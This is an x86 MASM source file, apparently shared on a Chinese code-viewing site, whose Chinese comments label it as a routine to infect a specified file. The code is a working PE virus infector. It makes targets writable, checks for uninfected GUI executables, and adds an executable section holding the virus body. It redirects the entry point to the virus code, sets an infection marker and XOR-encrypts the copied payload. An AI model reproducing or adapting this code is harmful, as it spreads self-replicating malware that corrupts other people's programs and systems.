📄 _infectfile.inc
字号:
INCLUDE _Align.inc
;###########################################################################
;# 感染指定文件 #
;###########################################################################
_InfectFile PROC _lpszFileName
LOCAL @hFile , @hMap , @pView
LOCAL @dwFileSize , @dwVirusFileAlignSize
LOCAL @bCanInfected , @dwFileAttribute
PUSHAD
PUSH 0
POP @bCanInfected
;########################################
;# 添加异常处理 #
;########################################
ASSUME FS : NOTHING
PUSH EBP
LEA EAX , [EBX + @Infect_SafePlace]
PUSH EAX
LEA EAX , [EBX + _SEHHandler]
PUSH EAX
XOR EAX , EAX
PUSH FS : [EAX]
MOV FS : [EAX] , ESP
;########################################
;# 设置文件属性到可写 #
;########################################
PUSH _lpszFileName
CALL [EBX + G_pGetFileAttributes]
MOV @dwFileAttribute , EAX
PUSH FILE_ATTRIBUTE_NORMAL
PUSH _lpszFileName
CALL [EBX + G_pSetFileAttributes]
;########################################
;# 打开待感染文件 #
;########################################
XOR EAX , EAX
PUSH EAX
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH EAX
PUSH EAX
PUSH GENERIC_READ OR GENERIC_WRITE
PUSH _lpszFileName
CALL [EBX + G_pCreateFile]
INC EAX
JZ @Infect_SafePlace
DEC EAX
MOV @hFile , EAX
;########################################
;# 得到文件大小 #
;########################################
PUSH 0
PUSH EAX
CALL [EBX + G_pGetFileSize]
OR EAX , EAX
JZ @CloseFile
MOV @dwFileSize , EAX
;########################################
;# 创建文件映射 #
;########################################
PUSH 0
POP @dwVirusFileAlignSize
@MapFile:
XOR EAX , EAX
PUSH EAX
MOV EDX , @dwFileSize
ADD EDX , @dwVirusFileAlignSize
PUSH EDX
PUSH EAX
PUSH PAGE_READWRITE
PUSH EAX
PUSH @hFile
CALL [EBX + G_pCreateFileMapping]
OR EAX , EAX
JZ @CloseFile
MOV @hMap , EAX
;########################################
;# 映射文件到内存 #
;########################################
XOR EAX , EAX
PUSH EAX
PUSH EAX
PUSH EAX
PUSH FILE_MAP_WRITE
PUSH @hMap
CALL [EBX + G_pMapViewOfFile]
OR EAX , EAX
JZ @CloseMap
MOV @pView , EAX
;########################################
;# 如果可以感染,直接去感染 #
;########################################
DEC @bCanInfected
JZ @Infect_Core
INC @bCanInfected
;########################################
;# 检查是否文件可感染 #
;########################################
;第一步: 检查是否为 DOS 程序
MOV ESI , @pView
ASSUME ESI : PTR IMAGE_DOS_HEADER
CMP [ESI].e_magic , IMAGE_DOS_SIGNATURE
JNE @UnmapView
;第二步: 检查是否为 有效的PE 程序
ADD ESI , [ESI].e_lfanew
ASSUME ESI : PTR IMAGE_NT_HEADERS
CMP WORD PTR [ESI].Signature, IMAGE_NT_SIGNATURE
JNE @UnmapView
;第三步: 检查是否为可执行程序
TEST [ESI].FileHeader.Characteristics , 02H
JZ @UnmapView
;第四步: 检查是否为 GUI 图形界面程序
TEST [ESI].OptionalHeader.Subsystem , 02H
JZ @UnmapView
;第五步: 检查是否为已经感染的程序
OR DWORD PTR [ESI - 04H] , 0
JNE @UnmapView
;第六步: 检查有无足够空间存放新节信息
; ① 计算最后一个节表到第一节的空间
; 使 ECX 保存加入新节表后的数目
MOVZX ECX , [ESI].FileHeader.NumberOfSections
; 使 EAX 指向第一个节
MOV EAX , [ESI].OptionalHeader.SizeOfHeaders
ADD EAX , @pView
; 使 EDI 指向第一个节表
MOV EDI , ESI
ADD EDI , SIZEOF IMAGE_NT_HEADERS
ASSUME EDI : PTR IMAGE_SECTION_HEADER
; 循环下一节表,检查加入新节表后数据
; 是否与第一个节重叠 ,如果重叠不感染
@@:
ADD EDI , SIZEOF IMAGE_SECTION_HEADER
LOOPNZ @B
SUB EAX , SIZEOF IMAGE_SECTION_HEADER
CMP EDI , EAX
JAE @UnmapView
; ② 计算病毒代码按文件对齐(FileAlignment)
; 进行对齐后大小
PUSH [ESI].OptionalHeader.FileAlignment
PUSH OFFSET V_CODE_END - OFFSET V_CODE_START
LEA EAX , [EBX + _Align]
CALL EAX
MOV @dwVirusFileAlignSize , EAX
; ③ 计算源文件按文件对齐(SectionAlignment)
; 进行对齐后大小
PUSH [ESI].OptionalHeader.FileAlignment
PUSH @dwFileSize
LEA EAX , [EBX + _Align]
CALL EAX
MOV @dwFileSize , EAX
; ④ 重新映射文件到内存以生成新的文件
INC @bCanInfected
JMP @MapFile
@Infect_Core:
;########################################
;# 修改SizeOfImage #
;########################################
PUSH [ESI].OptionalHeader.SectionAlignment
PUSH OFFSET V_CODE_END - OFFSET V_CODE_START
LEA EAX , [EBX + _Align]
CALL EAX
ADD [ESI].OptionalHeader.SizeOfImage , EAX
;########################################
;# 设置新节的 SizeOfRawData #
;# 增加PE头的 SizeOfCode #
;########################################
MOV EAX , @dwVirusFileAlignSize
MOV [EDI].SizeOfRawData , EAX
ADD [ESI].OptionalHeader.SizeOfCode , EAX
;########################################
;# 增加一个节 #
;########################################
INC [ESI].FileHeader.NumberOfSections
;########################################
;# 设置节名称 #
;########################################
PUSH @hMap
POP DWORD PTR [EDI].Name1
;;########################################
; 设置新节的原始数据大小
;;########################################
MOV [EDI].Misc.VirtualSize , \
OFFSET V_CODE_END - OFFSET V_CODE_START
;########################################
;# 新节数据在文件中偏移 #
;########################################
PUSH @dwFileSize
POP [EDI].PointerToRawData
;########################################
;# 设置新节属性,可执行,写,读 #
;########################################
MOV [EDI].Characteristics , 0E0000020H
;########################################
;# 设置新节在内存中偏移 , 上一节的偏移 #
;# (VirtualSize)加上一节数据大小按内存 #
;# 对齐后的大小 #
;########################################
PUSH [ESI].OptionalHeader.SectionAlignment
PUSH [EDI - 028H].Misc.VirtualSize
LEA EAX , [EBX + _Align]
CALL EAX
ADD EAX , [EDI - 028H].VirtualAddress
MOV [EDI].VirtualAddress , EAX
;########################################
;# 设置程序入口 #
;########################################
MOV EAX , [ESI].OptionalHeader.AddressOfEntryPoint
PUSH [EDI].VirtualAddress
POP [ESI].OptionalHeader.AddressOfEntryPoint
ADD [ESI].OptionalHeader.AddressOfEntryPoint , \
OFFSET V_Start - OFFSET V_CODE_START
;########################################
;# 设置跳转入口 #
;########################################
SUB EAX , [ESI].OptionalHeader.AddressOfEntryPoint
SUB EAX , OFFSET V_End - OFFSET V_Start + 5
PUSH [EBX + G_JmpPosition] ;保存原程序的JUMP入口
MOV [EBX + G_JmpPosition] , EAX
;########################################
;# 设置感染标志 #
;########################################
PUSH @hMap
POP DWORD PTR [ESI - 4]
;########################################
;# 拷贝并加密数据 #
;########################################
LEA ESI , [EBX + V_CODE_START]
MOV EDI , @pView
ADD EDI , @dwFileSize
MOV ECX , OFFSET V_CODE_END - OFFSET V_CODE_START
REP MOVSB
SUB EDI , OFFSET V_CODE_END - OFFSET V_CODE_START
MOV ECX , OFFSET V_Encrypt_End - OFFSET V_CODE_START
SHR EAX , 3
@Encrypt:
XOR [EDI] , AL
INC EDI
LOOPNZ @Encrypt
POP [EBX + G_JmpPosition];恢复本程序的JUMP入口
ASSUME ESI : NOTHING , EDI : NOTHING
;########################################
;# 释放资源 #
;########################################
@UnmapView:
PUSH @pView
CALL [EBX + G_pUnmapViewOfFile]
@CloseMap:
PUSH @hMap
CALL [EBX + G_pCloseHandle]
@CloseFile:
PUSH @hFile
CALL [EBX + G_pCloseHandle]
@Infect_SafePlace:
;########################################
;# 恢复文件属性 #
;########################################
PUSH @dwFileAttribute
PUSH _lpszFileName
CALL [EBX + G_pSetFileAttributes]
;########################################
;# 恢复异常处理 #
;########################################
XOR EAX , EAX
POP FS : [EAX]
ADD ESP , 0CH
POPAD
RET
_InfectFile ENDP
;###########################################################################
;# 感染文件结束 #
;###########################################################################
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -